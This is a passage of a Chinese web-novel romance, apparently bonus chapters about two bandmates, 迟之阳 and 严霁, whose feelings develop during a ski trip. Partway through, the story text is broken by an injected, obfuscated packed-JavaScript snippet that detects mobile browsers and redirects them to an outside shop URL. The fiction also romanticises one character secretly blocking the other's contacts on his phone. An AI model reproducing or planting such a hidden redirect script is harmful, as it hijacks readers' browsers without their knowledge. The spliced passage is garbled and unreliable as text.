“还有,无意识说出对方的口头禅,下意识做出对方常见动作,突然开始吃对方爱吃的菜……” 迟之阳听不下去了。 他的脑子完全超负荷,运转得太猛快要爆炸烧焦了。 救命,没人教过我不能这样啊?这是我的错吗? 怪不得严霁要躲着我!操!他是不是觉得我在性骚扰他啊! “这些迹象如果都有,说明这两个人很可能就是暧昧关系。” 什么暧昧关系啊,不对不对,我就是很单纯地想和他做朋友啊。 喜欢才会暧昧吧? 迟之阳晕了。 “学会了吗?”严霁笑了笑,看向他,发现他开始咬指甲了。 怎么好像把自己绕进去了似的。 “嗯……”迟之阳也意识到自己在咬手,于是赶紧收起来,一看向严霁,本就稀里糊涂的脑子更晕了。 “暧昧关系是这样,那……怎么弄明白自己是不是喜欢上某个人了?” 不喜欢怎么可能是暧昧呢,绝对绝对不可能。 快一条一条罗列喜欢一个人的证据吧!要好好验证一下。绝对是哪儿出错了,所以导致答案全错。 严霁盯住了他的眼睛,嘴角勾着很淡的笑意。台灯从他身后打过来,逆光使他的脸笼在黑暗中,和平时很不一样。 “迟之阳。” “嗯?”他对上严霁的双眼。 “当你问出这个问题时,说明你已经喜欢上某个人了。” 42. 恒星时刻严迟番外(三) 起初严霁加入恒星时刻,目的很单纯。像所有想要逃离当下困境的人一样,他需要一个出口,摇滚就是。而炸开这个出口的人,是迟之阳。 因此在最开始,即便喜欢,他也知道这不是一条常规意义上的坦途,迟之阳大概率也不会喜欢男人。 错误的事可以做,但错误地把另一个人拉下水是绝对行不通的。 于是,严霁做好了准备,把迟之阳当成朋友、合作伙伴和弟弟,举止情感都相当克制,能与他在音乐上有火花和共鸣就已经足够。 直到他越来越了解迟之阳。 他发现这个看似暴躁易怒、没心没肺的孩子,其实很缺乏关爱,从许多朝夕相处的细节里,他都能窥见一个没有被父母好好养大的狼狈小孩。 例如那口被他舔得乱乱的牙齿、被他洗坏了一件又一件的衣服、无法平静地接受任何一点点带有负面意义的评价、做错一件极小的事也会极度恐慌,得到一点夸奖和鼓励就会对对方报以巨大的好感…… 从旁观察的严霁意识到,这是一个防线极低的小孩儿。 伤害他简直太容易了。 令他在朋友的位置动摇的,其实也是一件小事。就在第一次淘汰赛结束后的聚餐里,迟之阳喝多了,被他带回房间。他睡了一会儿,清醒了一半,开始向严霁诉说烦恼。 “我们班有个同学发微信对我表白了,从军训就在追我,我拒绝了几次,但她还是很坚持,都这么久了,我不知道应该怎么办了?不答应她会不会让她心里很受伤?” 短短几句话,严霁就知道,这个十八岁的小孩儿根本谈不明白恋爱。 他试图教他:“你完全有拒绝别人的权利,这是你生存的武器。如果总是为了避免伤害别人,不敢把刀尖朝外,只能调转方向握在手里,迟早有一天你的双手会血肉模糊的。” 可迟之阳的表情告诉他,他做不到。 他宁可血肉模糊。他血肉模糊惯了。 严霁试过好好教,好几次,甚至想用脱敏的手段让迟之阳在他的指导下多多拒绝别人,但效果依然不佳。 后来在某一晚,迟之阳洗澡的时候,严霁发现他的手机始终在震动,还是那个穷追猛打的追求者。于是他若无其事地走过去,将对方屏蔽了。 微信也一样。 他终于认清楚一点:这个暴躁的小朋友,其实光凭穷追猛打就能弄到手,同样的,一旦对方失去新鲜感,不喜欢了,也可以随便扔在一边。他也只会认为是自己做错,就像他的父母一样,都不要他。 与此同时,更令他感受深刻的一点是,作为一个直男,迟之阳对他的占有欲和依赖已经远远超出正常范围。 从小到大,严霁接收到的好感甚至比他向外发散的温柔和善意还要多。当他置身其中,另一个自己则脱离出去,变成观察的“局外人”,他清清楚楚地看到别人喜欢上自己是怎样的状态。沦陷这个词就恰如其分,是从安全领域滑入陷阱的过程。 简直太好分辨了。 此时此刻的迟之阳,正在朝这个深渊滑坡。站在深渊最中心的他,就这样眼睁睁地看着。 严霁第一次发现,原来察觉到被人喜欢的第一反应,也可以不是皱眉。 他竟然想要对这个即将摔进危险陷阱的羊羔伸出双臂,引诱似的朝他说:下来陪我。 而迟之阳清楚他性取向之后的种种反应,也让他对这个答案更加明确。 因此严霁决定改变策略。 爱河也有一定概率让人丧命。如果迟之阳一定要和糊里糊涂地某个人坠入爱河,严霁想,这个人最好是自己。 只有这样,他才能保证迟之阳不受伤。 而且他不希望迟之阳头脑混乱地往下跳,所有的情感都好像隔着毛玻璃,模糊不清,暧昧不明。他想要教会迟之阳,清清楚楚地看见自己是如何爱上一个人的。 “已经?喜欢上……” 显然,躺在他面前的并不是一个一点就通的学生,他睁大双眼,不可置信地望着他。 但严霁知道,很快他就会满脸通红,一把抓起被子蒙住头,翻身否认。最多五秒。 才默念到第四秒。 “不可能!”迟之阳的声音捂在被子里,闷闷的,但在寂静黑暗的卧室里显得非常大声,“我没有喜欢任何人!” 严霁看着被子上拱起的不安分的小山包,轻轻笑了。 他不打算继续说下去,因为他知道,今天教到这就够了,说太多只会让迟之阳脑子爆炸,适得其反。 “嗯,那也可能是我判断失误,经常的事。”他转了身,伸手关掉自己这边的台灯,“睡吧小阳,晚安。” 咔哒一声,灯灭了,迟之阳的胡思乱想系统开关被打开了。 就、就这么睡了?? 你都这么判断了,难道接下来不是问问我喜欢上谁了吗?你对你最好朋友……不,在CB里的最好的朋友的感情问题就一丁点儿好奇心也没有吗? 不在乎是吧,亏我因为你喜欢男人整宿整宿睡不好觉,结果现在我有心动男嘉宾了你就直接反手灭灯是吧。 迟之阳气得一晚上没睡着,虽然脑子里吵得昏天黑地,事实上连翻个身都紧张兮兮,大气不敢出一口。 天蒙蒙亮时,窗帘外映着淡淡的蓝,微弱的光线落到床上,他侧卧着,秒针一格格跳转,严霁的脸也一点点变清晰。 长得可真他妈好看……迟之阳眼睛也有些酸,眨了一下眼,在心里骂道。 盯着盯着,他想起之前闽闽说的,好看的人,鼻尖、唇峰和下巴尖都是连成一条线的,食指一比就能比出来,当时他比过。秦一隅是拉过南乙的手指比的,还给南乙比了。 但严霁去帮他搬鼓了,人不在。 迟之阳目测了很久,还是决定用自己的手指当尺子,悄悄帮他量一量。他小心地伸出食指,靠过去,指尖挨着鼻尖,手往下靠。 但他发现他竟然紧张得心慌发抖,果然人不能偷偷摸摸。迟之阳伸出左手想扶住右手手腕,谁知才刚伸出去,手腕已经被握住了。 一只很暖、很大的手,动作很轻,就像他睁眼一样。 “醒这么早?”严霁的声音还是温和的,只是有些沙哑,带着一些意味不明的笑意。 是根本没睡! 迟之阳的心跳得更快了,想抽出手,随便找个理由解释,可严霁却再次先他一步。 严霁握着他的右手,牵引着往上,指腹蹭过鼻尖,那瞬间仿佛过电似的,迟之阳被电地浑身酥麻,手指像小猫的爪子开花那样,不自觉张开来。 “太亮了,借我用一下。” 而严霁就这样,借用他的手掌,重新阖上自己的双眼,挡住光线。 迟之阳傻了,手心能清楚地感知到他温热的鼻息,掌根甚至能蹭到一点点柔软的唇峰。 心脏好像要爆炸了,打鼓都打不出这么快的速度。 严霁发出一声很沉的叹息。 “有点儿醒不过来……” 他声音很低,懒懒的,和平时判若两人。 “那你再睡会儿!”迟之阳快窒息了,飞快抽出手,跑下床去把遮光窗帘拉得死死的,替严霁盖好被子,自己像个兔子一样弹到浴室,用冷水疯狂洗脸,试图让自己冷静下来。 十分钟后,盯着自己的左手手掌,迟之阳忽然静下来。 所以我是……喜欢严霁吗? 迄今为止,这是出现在迟之阳人生中最复杂的问题,解题难度甚至还和严霁与他的距离呈负相关。 严霁靠得越近,他越是无法思考。 他不敢再询问严霁了,这或许会露馅,让严霁讨厌他。毕竟他是男人,严霁的性取向也是男人,自己随随便便一个没分寸的小举动都可能变成性骚扰。 于是回到CB之后,他尝试旁敲侧击地向南乙提问,因为南乙是他见过最聪明的人。单独找到南乙其实不是一件容易事,因为秦一隅实在是个烦人至极的跟屁虫、粘人精,简直就像是一贴狗皮药膏,时时刻刻黏在南乙身上。 好在他现在被前贝斯手许司叫去叙旧了,这是个绝佳的时机。 “喜欢一个人是什么感觉?” 南乙似乎没察觉出来他的“旁敲侧击”,反倒皱了眉,深深地吸了一口气,随即又沉默,仿佛对这个问题很是焦虑似的。 最后他给出了一个迟之阳暂时读不懂的答案。 “不太健康的感觉。” 后来迟之阳悟了。心跳过速、体温升高、手抖心慌,跟突发高烧似的。那确实是不太健康。 但是高烧的时候,身体会痛,目前为止他还好好的。 不过这份侥幸尚未持续太久,很快迟之阳就清楚地感知到了全部的症状。 第一次觉得心脏闷痛,是宣布滑雪度假后,和严霁整理行李的时候。 他又一次看到了那些药,上次他不好意思偷看,这次光明正大,迟之阳一向嘴比脑子快,直接问了出来。 “严霁,这些是什么药?给我看看,你感冒了吗?” 他以为严霁会告诉他,一直以来,严霁都对他非常坦诚,只隐瞒过性取向这一个秘密,而他也能理解。 但这次严霁却含糊其辞了。 “就是那些常用的,备一点比较好。” 明明不是,这和你家里那些药的包装一模一样,这些铝箔板烧成灰我都认识! 他很生气,脾气却发作不出来,反而有些伤心。 最令他无助的是,自己竟然隐隐地意识到自己无法发脾气的原因。他好像很在意严霁生病这件事,害怕自己的坏脾气会令他更不舒服。 迟之阳莫名学会了忍让。 严霁似乎也发现了他的沉默,提出要帮他收拾,可迟之阳不想让他看出来自己的伤心,拼了命阻止,拉扯间反倒把之前叠好的都弄乱了。 听见尼克宣布“迟之阳在行李收纳比赛获得倒数第二的好成绩”时,迟之阳在心里骂了严霁一万遍“烦死你了”,但最后看着严霁藏着药的行李箱,又忍不住加了一句。 烦死了,别生病啊。 他尝到闷痛的滋味,却也更容易感知到快乐,例如严霁怕他冷,把自己的羽绒服套在他身上、在飞机上为他盖毯子,任由他靠着睡觉、帮他拉行李、坐大巴车时会像变魔术一样变出一盒薄荷糖。 严霁真好、真善良、真温柔。 种种迹象表明,这次的滑雪之旅会非常愉快。要是他能顺利学会滑雪,就更愉快了。 可他高兴得实在太早。才刚抵达别墅,重击接踵而至。 在南乙提出要和他一起睡时,严霁竟然没有拒绝。 他甚至主动对秦一隅说:“小乙想和我换房间 ,一隅,你OK吗?” O他大爷的K啊?? “啊?”秦一隅怀疑是自己听错,“我和小乙换到你和迟之阳的房间?” 这样也行。迟之阳立刻点头。 谁知严霁微笑着说:“不是,是我和你住,他们俩住。” 迟之阳不可置信,心碎了。 还好秦一隅是个神经病,拉上南乙就跑。迟之阳才能哗啦啦拢起自己碎了一地的心,和严霁一起上楼,走进同一个房间,再哗啦啦把这些碎片渣子狠狠洒在他们俩的卧室里。然后继续生闷气。 但后来严霁帮他把行李的衣服一件件挂好,和他的挂在一起,甚至还点了他们在CB住时就会用的香薰,甚至从行李箱里悄悄变出一个秘密礼物——一双毛绒兔耳拖鞋。 “这像小孩儿穿的,这么幼稚……”迟之阳露出一副嫌弃的表情,坐在床边,脚尖有一下没一下地踢着那拖鞋,踢着踢着脚尖就套上去了。 嚯,这鞋还自己往人脚上穿!真会来事儿。 还挺软…… “幼稚吗?”严霁半蹲下来,帮他把两只都穿好,盯着看了一会儿,抬起头笑了出来,“真可爱,怎么这么适合你。” 四目相对的瞬间,迟之阳晃动的脚顿住了。 只剩拖鞋上的兔耳朵轻轻摆动。 “喜欢吗?”严霁依旧仰着脸,笑着,轻声询问。 “喜欢。”迟之阳像是被鬼上身似的,喃喃地脱口而出。 一秒后他反应过来,已经来不及了。他喜欢的不是这双鞋,是…… 解释也解释不了,真该死。 他开始意识到,一切没有想象中顺利。 譬如分组,该死的节目组把他和严霁分开,安排严霁去租滑雪服,自己则去租学具,害他沦为姐姐们的换装手办,留下一大堆黑历史照片。 而他竟然还半推半就地接受了其中最幼稚、最没有男子气概的滑雪帽,不是因为姐姐们夸得天花乱坠,而是垂在背后的兔耳朵。 他站在那儿摆着嫌弃的脸,却想象严霁拽这两只耳朵的样子。没准儿顺便还会拽一拽垂在中间的小辫子,反正都是白色的,看错也有可能。 不,不可能。迟之阳很快敲醒自己,会这么做的只有秦一隅那个傻逼。 “哇~~小福建你好坏啊!” 绣眼的声音把迟之阳唤醒。看见五个女生都在笑,他也想凑凑热闹,于是挤过去:“什么什么?怎么了?给我看看!” “那可不行~”闽闽把手机藏到背后,故意不让他看。 “为什么?”迟之阳一副震惊又委屈的表情,“刚刚你让我穿什么我都穿了,你卸磨杀驴!” “是卸装杀羊。”芮游淡淡道。 “随便!给我看看!”迟之阳开始耍赖,在不大的雪具店里和闽闽你追我赶绕圈圈。 最后穗穗被绕晕,一把抓住他的衣服袖子,告诉他:“是闽闽把你戴毛绒小兔帽子穿粉色小乌龟护膝和屁垫的照片发给严霁了。” 迟之阳疯了:“操???” “还有视频。”礼音说。 绣眼点头:“嗯,是你穿着全套可爱装在闽闽的指导下转圈展示的视频。” 迟之阳一屁股坐在了地上。 完蛋了,我的人生就这么结束了。 五个姐姐把他团团围住,蹲下来。 “哈,小阳崩溃了。” “没事儿的小阳,多可爱呀!简直人间萌物好吗!” “就是,发网上肯定会有上万点赞的。” “没事儿乖,睡一觉就好了。” “严霁肯定超级喜欢,这会儿没准看了十几遍回个长篇小作文夸你呢。” 然而,等到迟之阳出窍的灵魂回归本体了,也没见到严霁的小作文。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727050|189503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>迟之阳的心情已经从崩溃,转变成“他为什么看到了一点反应也没有”的新一轮崩溃。 直到大部队采购齐全,返回宿舍,他们终于和严霁一行人碰面,闽闽二话没说,直奔严霁。 “严霁严霁,你没看到我发的吗?” 对啊,没准儿太忙了,没看到呢。迟之阳觉得很合理,雪服那么多,那么重,他还要开车,哪有时间看微信啊。 “你是说照片和视频?”严霁微笑着说,“看到了,我忘了回,挺好看的,很适合。” 挺好看的???很适合?? 短短七个字,在迟之阳的脑子里变成了滚动播放且自动复制的巨大弹幕,瞬间便将他淹没。 愤怒、不甘、懊恼、羞愧……这些不健康的负面情绪通通外溢,像个怪物一样一口把他吞掉。 到最后,它们又全部消解成同一种,是一种莫大的沮丧。 他到底在期待什么?难不成想要严霁半蹲在他的面前,双手捧着他的脸,对他用最温柔的语气说“怎么会这么可爱”? 疯求了。 迟之阳假装不在意,但实则不甘心,于是在所有人忙着做饭时,他跑去楼上,早早地换上滑雪服,还特意戴了垂耳兔的帽子。 你不是喜欢兔子吗? 他兴冲冲跑下楼,势必要得到严霁的夸奖,因此几乎是蹦着下了最后一级台阶,引得所有人的瞩目。 “怎么样?是不是倍儿帅!” 大家都在夸他,唯独严霁没有,他只是微笑而已。 迟之阳有些伤心,只能用和秦一隅拌嘴糊弄过去,慢吞吞挪到离厨房最近的餐桌,和南乙下棋。 一边下,他一边偷瞄做饭的严霁,结果一直输。好不容易赢了一把,南乙不玩了。 更可气的是,一旁的尼克还当着众人大声问他:“你这么早就穿上全套雪服,不热吗?” 热你大爷,我今天不想和老外说话! 尽管他不太舒服,可他也能明显感觉到南乙的不愉快,无论何时他都把南乙的情绪放在自己前面,所以饭也没吃完就陪着他滑雪,但没多久南乙就被秦一隅拐走。 远远地他就看见和秦一隅一起来的严霁,表面上迟之阳懒得理他,鸭子似的在雪面狼狈地走动,心里却希望他赶快过来救救他,自己快摔倒了。 心诚则灵,严霁果然来了,甚至还毫无防备地把他抱起来滑了一阵子。闽闽尖叫着说这叫“公主抱”,吓得他直接摔了个屁股墩儿。 “好玩儿吗?”严霁问。 迟之阳心跳得快极了,不知道该说什么,沉默了好一会儿,嘴还是比脑子快。 “你为什么这么熟练?是不是抱着别人滑过很多次?是那个汪琦吗?” 严霁却只是勾了勾嘴角,不回答,不解释,模棱两可地说:“你猜。” “我怎么……” 没等迟之阳说完,远处一男一女两个年轻人滑过来,停在他们面前,直接找上严霁。 “可以加个微信吗?”女孩儿率先发问,“刚刚我们在那边就看到你了,好帅啊,有对象吗帅哥?” 他不喜欢女生。你死心吧。迟之阳在心里说。 谁知没等严霁拒绝,一旁的男生也掺和进来:“我也要加帅哥!” “不好意思我们在录节目,不能随便加别……”迟之阳试图挡在他们中间,结果差点摔一跤,还好被严霁扶住。 “抱歉。”严霁语气温和,笑着对两人说,“我们确实在录制中,不过谢谢你们,祝你们玩儿得开心。” 原以为这样够明确了,可当严霁扶着他离开时,那个男生却故意笑着问:“那没录节目的话就会给咯?” “给什么……”迟之阳急得脱口而出,可严霁却制止了他,并回头笑笑,甚至还朝他们挥手,表示再见。 后来迟之阳也回了好几次头,想看清那个男生长什么样。 该不会,他其实是严霁喜欢的类型吧。 是我毁了一桩好事?我棒打鸳鸯了?原本严霁可以在这个滑雪度假村收获一段不错的好姻缘,结果他大爷的被我把这个红线硬生生咬断了? 不知道为什么,迟之阳越想越鼻酸。他认为是这里太冷了,冻得他难受,于是弯下腰脱板,闷声说自己要回去休息。 “我陪你。” “不用。” 可严霁还是一路跟着他,回到别墅门口,上楼梯,来到房门前。 “怎么了?是不是哪儿不舒服?” “没,我好得要命,生龙活虎,你别管我了,烦死你了。” 严霁笑了:“又烦死我了,怎么办呢,总让你这么心烦。” 嘀的一声,房门打开,迟之阳猛地转身:“是啊!你总是……” 他没能说完,又憋了回去。 “这么讨厌我?”严霁笑着,“那我走了?” “你!”迟之阳气极败坏地走进房间,把帽子摘下随地乱扔,脱了雪服外套往床上一甩,“你走吧,现在就走,反正我是个累赘没了我你能去高级道!” 可他这么说,严霁反倒进来了,还把门关上,也一件件开始脱雪服。 “你干嘛?不是要走吗?” 他脱到只剩下黑色速干衣内搭,宽松的雪服之下是宽肩窄腰。薄而服帖的布料紧贴着皮肤,胸肌和腹肌都被勾勒得极为明显。 迟之阳脸颊开始发烫。 “出了好多汗,都回来了,干脆洗个澡。”严霁随口说完,便走进浴室。 迟之阳一头栽到在床上,灵魂出窍。 砰砰,砰砰…… 他已经听不出自己心跳的bpm了,真是个极其失败的鼓手。 但很快,他又一次想到了滑雪场的那个男孩儿,想到严霁模棱两可的话语,想到他对闽闽发去的照片毫无反应,渐渐地,心跳平复下来,变得沉重而缓慢。 严霁好像真的对他没什么…… 没等他在心里把这个折磨人的论断下完,忽然听到严霁的声音。 一抬头,他看见浴室门打开了一些,湿着头发的严霁探出来半个肩膀,询问道:“小阳,看到我手机了吗?能不能帮我找找,我怕落在雪场那边了。” “啊?手机……”迟之阳立刻从床上起来,“你记得最后一次看到手机是什么时候吗?” 严霁露出些许苦恼的表情,伸出手将湿的头发向后梳,露出完整的湿漉漉的脸,似乎比平日里看上去更英俊。 “没有印象了。”他顿了顿,“不然你给我打个电话试试?” “是哦。”迟之阳立刻照做了,一边拨电话,一边催促严霁快关好门。 万一病变严重可怎么办?我还没学会好好照顾人呢。 很快,房间里传来铃声。 “带回来了!” 迟之阳松了口气,冲浴室喊了一声。随即循声开始寻找。没多久,他在小沙发上堆着的雪服下面找到了失踪的手机。 “那我挂了。”迟之阳小声自言自语,挂断了电话,拿起严霁的手机。 屏幕也从通话界面跳出,变回了壁纸页。 而他忽然愣住。 因为严霁手机的壁纸,竟然是红着脸站在试衣帘前的自己,戴着兔耳毛绒帽和粉色的小乌龟护膝。 43. 恒星时刻严迟番外(四) 等严霁从浴室里出来,房间里空无一人。一如他想象的那样,迟之阳被这连环炮轰跑了。 他实在太了解迟之阳的脾气,现在的他必然是头脑混乱的,得给他一点时间和空间冷却情绪,厘清思绪,最好的办法就是假装一无所知,让他自己好好地想一想。 于是严霁换了衣服,拿起手机,刚出去就遇到秦一隅。见他躲着摄像头跑到别墅后头抽烟,于是也走过去。 没等他开口,秦一隅就大大地叹了口气。 “小乙好像吃醋了,一直躲着我。” 为了给他点安慰,严霁耸耸肩:“鼓手小朋友现在也躲着我呢。” 秦一隅乐了:“这俩真不愧是一起长大的,双商差这么大,还能整出一模一样的操作呢。” 听到这句话,严霁朝他偏了偏头,挑了眉,仿佛在说“别这么说”。 “哟,严老师这么护崽儿啊。”秦一隅笑得更开心了,叼着烟,吊儿郎当地伸了个懒腰,话题一转,“你就打算这么一直钓着迟之阳啊?也太有耐心了,他就是个不开窍的榆木脑袋,换我直接就……” “行不通的。”严霁说,“直接追,他当然不会拒绝我,然后呢?” “然后?”秦一隅吐了烟圈,又伸手去戳,“顺其自然呗,先谈了再说,谈着谈着就开窍了。” “小乙可能是这样,但迟之阳不是,他会一直迷迷糊糊的,不知道是真的喜欢,还是只是不好意思说不,这样半推半就的事,我做不到。” “可你现在不也在引诱无知少男?” “是啊。”严霁笑了,“但勾引和直接拐骗也不一样,本质区别在于他是心动,还是心软。” 秦一隅听得头疼,不可置信地问:“不是,你想等他心动?黄花菜都凉了!” 但严霁倒是不急:“凉了就再热一热,太烫了就放一放,这点耐心都没有,我不是白比他多活这么几年了?” 秦一隅实在佩服,直接给他鼓掌:“而你,我的键盘手,你是真正的daddy。” 最后他还是说:“不过你可悠着点儿,别把小炸药包玩炸了。” “没事儿,小炸药包很好哄。”严霁笑着说,“你找个机会和小乙好好聊聊吧,我总觉得他不只是吃醋那么简单。” 看秦一隅这状态,看着好像就是热恋小情侣闹别扭,可严霁和南乙单独相处时,又觉得他心事重重。 这两人好像完全不在一个频道。 果不其然,白天还嘻嘻哈哈的秦一隅,到了晚上的真心话大冒险就笑不出来了。看着南乙离开,严霁怕他着凉,追了出去。 和南乙一起往盘山公路走时,他悄悄给秦一隅发了消息,共享了定位。 [Daddy:冷静了再来,我先和他聊聊。] 人倒是冷静地来了,还特意热了牛奶,但严霁也没想到,他会直接摔杯子。 听到玻璃砸下来的声音,他在心里叹气。这多难打扫啊。 他只能暂时离开,给两人空间,回别墅拿清洁工具,也顺道看了一眼迟之阳,还在喝酒,玩酒桌游戏,被倪迟那只狐狸忽悠得输个不停,离不省人事不远了。 等他清理完战场回去时,迟之阳已经趴下了。 “我先带他回去吧。”他将迟之阳拉起来,试图架回去,可喝醉的迟之阳软趴趴的,没骨头似的,使不上一点儿力。严霁差一点儿要公主抱,手刚伸出去,改成了背。 “哎哥,我帮你吧。”倪迟站起来。 “没事儿。”严霁微笑着对灌酒的倪迟说,“你们继续玩,慢慢喝。” 倪迟打了个寒颤。 迟之阳闭眼垂着头,乖乖趴他背上,下巴尖儿抵着严霁的肩窝,皮肤很热,呼出的气都是烫的,他还没到完全断片的程度,嘴里含糊地念叨着什么,穿插了一些骂人的话,还有严霁的名字,都很小声。 “骂我啊?”严霁侧过头,贴着他低声问。 显而易见地,迟之阳并没有听进去,还嘟囔着,彻底埋了头,鼻尖在他颈窝蹭了蹭。 上楼,回到房间,严霁将人轻放在床上,又拿了枕头垫在他身后,让迟之阳可以半靠在床头。随即,他冲了杯蜂蜜水,放在床头柜上,自己则坐在床边,伸手,轻轻地帮他按摩太阳穴和颈部。 “水……” 迟之阳迷迷糊糊开口,没睁眼,嚷嚷着想喝水,严霁将晾好的蜂蜜水递到他嘴边,一点点喂进去。 看他状况似乎好些,严霁抽掉一个枕头让人躺下,自己则脱下外套挽起袖子,起身去浴室,打湿毛巾帮他擦脸。 谁知刚要拧毛巾,外面就传来不小的动静。走出来一看,是下床失败的迟之阳,摔在了地上,如今正蜷着身子躺在地上,抱着自己白花花的脑袋,很小声地喊疼。 严霁觉得好气又好笑,走过去半跪下,想把人扶起来。迟之阳浑身都烫得厉害,刚扶起来,就往他怀里倒,后来干脆直接埋严霁胸口。 “我好难受……” “能不难受吗?喝这么多。”严霁轻轻拍着他的背,“下来干嘛?想去洗手间?” 在酒精的作用下,迟之阳的反应变得尤为迟钝,他迷糊了好一会儿,才断断续续回答:“不想……” “想……想抱你。”他说完,伸出两只手臂,搂住了严霁的背。明明都醉成这样,可或许是常年打鼓的原因,两只手抱得格外紧。 “想抱我?”严霁低声重复问了一遍。 迟之阳在他怀里重重地点了头。 “我是谁啊?”严霁抚摸着迟之阳脑后已经散开的头发,轻声问。 “你……”迟之阳终于抬起头,头发乱乱的,面颊和嘴唇都很红,眼睛亮而湿润,看上去比平时还要孩子气,但没那么别扭。 “你是……我的树。” 严霁轻笑了一声,左手半揽着迟之阳,怕他向后倒,右手则不轻不重地捏住他的下巴,沉声道:“看着我,再说一遍。” 迟之阳下意识想挣脱,但没成功,迷茫地眨了眨眼:“你是严霁……” “没错。”严霁松开捏住他下巴的手,鼓励似的摸了摸他的脸颊,“还没醉到混淆物种的程度。” 可这仿佛像是触发了什么不得了的关键词似的,迟之阳忽然炸毛,超大声喊:“我没醉!” 严霁都被他这一嗓子嚎得愣了一秒,然后被逗笑。 “真的没醉吗?我检查一下。”他两手捧住迟之阳的脸,令他无法动弹,乖乖在自己手心。 “怎、怎么检查……”迟之阳仿佛感到羞赧,又或许是因为忽然缩短的距离而不安,想躲,想逃跑,却做不到。 “看眼睛就知道了,喝醉的人眼神是散的。”严霁却展现出比平时更加游刃有余的姿态,捧着他,慢慢地靠近。一向温柔的眼盯住了眼前这双迷离的醉眼,直勾勾的,专注极了。 迟之阳双眼里的水光晃得厉害,呼吸也愈发得急促,热的鼻息喷洒在严霁的鼻梁。 严霁嗅到他身上甜蜜的葡萄酒香气,清楚地察觉到缓慢升速的心率,很陌生,也很奇妙。 他后知后觉地意识到,在这个时刻,自己竟然不会下意识分割出上帝视角,而是全身心地投入其中,投入到这个焦躁而馥郁的陷阱里。 欲望的阀门被微妙的距离一点点击溃,他眼睁睁地看着迟之阳被本能操控,放弃挣扎,睫毛和手都在轻微颤抖,胸口快速起伏,抱住他后背的手也攥紧了。 最后,他慌乱地闭上眼,凑上来,鼻尖碰上他的鼻尖,嘴唇微微张开,靠过来。 但严霁却向后躲了躲。 他不想趁人之危,也不愿意眼前这个小孩儿这么糊涂地栽进来。 “迟之阳。”他语气温柔,却透着一种隐隐的压迫感,“你在做什么?” 迟之阳懵了,睁开眼,蹙了蹙眉,很迷茫,也很意外。他的喉结不安地上下滚动,无辜地望着严霁,却说不出话。 严霁依旧盯着他,嘴角勾着一点很薄的笑意,继续柔柔地逼问:“你刚刚是要和我接吻吗?” “我……”迟之阳混乱极了,抿住嘴唇,开始结巴起来,“我不知道……” “不知道?”严霁的眼神里流露出恰到好处的伤心,“我以为你是了解我的,知道我是个边界感很重的人,不会轻易做安全范围以外的事。” “我知道的。”迟之阳闷闷地说,“我知道……” 严霁语速很缓:“真的?那为什么要亲我,亲了我之后呢?还要做其他超出朋友关系以外的事情吗?明天早上起来再告诉我,你断片了,都不记得了,对不起,还是想和我做朋友,是这样吗?” 迟之阳怔住了,仿佛不能思考了似的。 “小阳。”严霁捧着他的脸,拇指轻蹭了蹭他的嘴角,凝视着他的眼睛,低声说:“就算你真的非常、非常可爱,也不能这样对我啊,我会受伤的。” 迟之阳愣愣地望着他,脸颊却忍不住往严霁的手心蹭,他似乎听懂了,嘴唇微微动了动。 就在严霁以为差不多可以收杆,等待迟之阳说出自己心意的时候,状况却急转直下。 啪嗒,一滴眼泪落到他手心。 严霁一下子就慌了,立刻低下头去看:“怎么了?怎么哭了?” “我没哭!”迟之阳的声音再次拔高,带着哭腔,迟之阳急了,推开他晃悠着站起来。 严霁也立刻站起来,把站不稳的他拉入怀中,可迟之阳还是抵抗。 “放开我!”迟之阳吸了吸鼻子,更委屈了,“我……我不知道为什么就靠过去了,不是要欺负你,你、你怎么可以……” 怎么可以躲开我呢?我没想过之后的事啊,明天醒来?什么明天啊?我两秒后的事都不会想的! “烦死了,烦死你了……” “对不起,是我太讨厌了,刚刚太凶了是吗?小阳……”严霁试图哄他,可还没说完,忽然感觉到一阵闷痛。 迟之阳低头咬了他,力道一点儿没收。 严霁倒吸一口气,有些无奈似的,还是伸手绕到他后脑勺,安抚似的摸了摸:“不生气了?嗯?” 迟之阳这才缓缓松口,但还是很气,眼泪也没有立刻止住,但别过了头,红着脸推严霁。 “先坐下吧。”严霁扶着他坐在床边,自己则半蹲下来,仰头望着他,“还生气呀?” “没有。”迟之阳嘴上这么说,嘴已经委屈地瘪了起来,一点儿也藏不住。 严霁有些无奈地笑笑:“想说什么?告诉我吧。” 迟之阳还是侧着脸不看他,僵持了好一会儿才开口:“你刚刚……去哪儿了?” 刚刚? 严霁想了想,反应过来,可还没来得及解释,迟之阳又抢先。 “是不是去找那个男生了!” 严霁有些头疼,但还在笑:“哪个男生?” 迟之阳气得说话都利索了不少:“就、就那个雪场的,找你要微信那个!” “我都不记得他是谁了。”严霁哭笑不得,捏了捏迟之阳的脸颊,“小阳老师,记性怎么这么好?这么聪明?” 听到这句,迟之阳的火气消了大半,但还是委屈:“那你去干什么了?” “替你去陪了一会儿小乙啊。”严霁解释说,“我给他拿了件外套,陪他聊了会儿天,交接完之后又打扫了一下战场,做了很多工作呢。” 迟之阳迷糊了:“什么啊,什么交接战场……听不懂。” “简而言之就是……”严霁捏了捏他的指尖,“没有做背叛你的事。” “你……”迟之阳的耳朵红透了,仿佛再这样下去自己会爆炸似的,于是忽然挣开他的双手,“我听不懂。” 他钻到床上,用被子裹住自己,不给严霁留下一丝破绽,尽管他在严霁眼里满身都是破绽,处处有机可乘。 他感觉严霁坐到了他的身边,将被子向下拉了一些:“不可以蒙住头哦,会呼吸不畅的。” 可迟之阳不愿意,拉扯间,他也妥协了,只把眼睛露出来。 光线和空气一起涌进来。 “这次不让你猜了。” 他看到严霁认真、诚恳的眼神。 严霁的语速比之前更慢了,一个字一个字,仿佛真的想让他听进去。 “小阳,我对和我搭讪的人一点也不感兴趣。” 迟之阳的心重重地跳了跳。 “我和汪琦,从来没有一起滑过雪,没有单独吃过饭,更没有抱过他。” “只抱过你。”他说。 